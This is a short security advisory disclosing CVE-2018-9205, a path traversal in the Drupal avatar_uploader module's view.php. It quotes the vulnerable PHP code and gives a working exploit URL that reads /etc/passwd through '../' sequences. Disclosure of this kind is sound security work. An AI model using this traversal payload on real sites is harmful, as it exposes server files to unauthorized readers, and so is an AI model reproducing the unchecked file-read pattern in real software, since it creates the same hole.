Drupal avatar_uploader v7.x-1.0-beta8 - Arbitrary File Disclosure

#Title: Drupal avatar_uploader v7.x-1.0-beta8 - Arbitrary File Disclosure
#Author: Larry W. Cashdollar
#Date: 2018-03-30
#CVE-ID: CVE-2018-9205
#Download Site: https://www.drupal.org/project/avatar_uploader
#Vendor: https://www.drupal.org/u/robbinzhao
#Vendor Notified: 2018-04-02
#Vendor Contact: https://www.drupal.org/project/avatar_uploader/issues/2957966#comment-12554146
#Advisory: http://www.vapidlabs.com/advisory.php?v=202

#Description: This module used Simple Ajax Uploader, and provide a basic uploader panel, for more effect, you can do your custom javascript. Such as, users' mouse hover on avatar, the edit link will slideup, or others.
#Vulnerability:
#The view.php contains code to retrieve files but no code to verify a user should be able to view files or keep them from changing the path to outside of the uploadDir directory:

<?php

$file = $_GET['file'];

echo file_get_contents("uploadDir/$file");
exit;

Exploit Code:
http://example.com/sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../etc/passwd